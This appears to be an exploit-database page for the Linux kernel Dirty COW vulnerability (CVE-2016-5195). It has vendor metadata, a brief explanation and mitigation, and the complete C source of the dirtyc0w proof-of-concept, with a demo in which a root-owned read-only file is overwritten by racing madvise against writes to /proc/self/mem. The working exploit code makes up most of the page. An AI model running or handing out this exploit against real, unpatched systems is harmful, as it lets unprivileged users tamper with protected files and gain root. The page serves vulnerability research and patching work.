header-logo
Suggest Exploit
vendor:
Linux Kernel
by:
Phil Oester
7,8
CVSS
HIGH
Dirty COW (CVE-2016-5195)
264
CWE
Product Name: Linux Kernel
Affected Version From: Linux Kernel 2.6.22
Affected Version To: Linux Kernel 4.8.3
Patch Exists: YES
Related CWE: CVE-2016-5195
CPE: o:linux:linux_kernel
Metasploit: https://www.rapid7.com/db/vulnerabilities/oracle_linux-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/panos-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/huawei-euleros-2_0_sp1-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/cisco-nx-os-cisco-sa-20161026-linux/https://www.rapid7.com/db/vulnerabilities/ubuntu-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/suse-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/amazon_linux-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/debian-cve-2016-5195/https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2015-7852/https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2015-7702/https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2015-7701/https://www.rapid7.com/db/vulnerabilities/oracle_linux-cve-2015-5195/https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2015-5219/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2015-7852/https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2015-5195/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2015-7692/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2015-5219/https://www.rapid7.com/db/?q=CVE-2016-5195&type=&page=2https://www.rapid7.com/db/?q=CVE-2016-5195&type=&page=3https://www.rapid7.com/db/?q=CVE-2016-5195&type=&page=2
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2016

Dirty COW Exploit

Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel. It is a race condition bug that exploits a flaw in the Linux kernel’s memory-management subsystem. It allows an attacker to gain write access to a read-only memory mapping, such as those used to store program text, by exploiting a race condition between the madvise(MADV_DONTNEED) system call and a read/write system call. The exploit is achieved by racing the madvise(MADV_DONTNEED) system call while having the page of the executable mmapped in memory. The attacker then writes to /proc/self/mem to reset the file pointer to the memory position. The exploit is done in parallel by passing two arguments, the file and the content, and opening the file in read-only mode. The attacker then uses MAP_PRIVATE for copy-on-write mapping.

Mitigation:

The vulnerability can be mitigated by applying the latest security patches from the vendor. Additionally, the system should be configured to prevent unprivileged users from running privileged programs.
Source

Exploit-DB raw data:

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}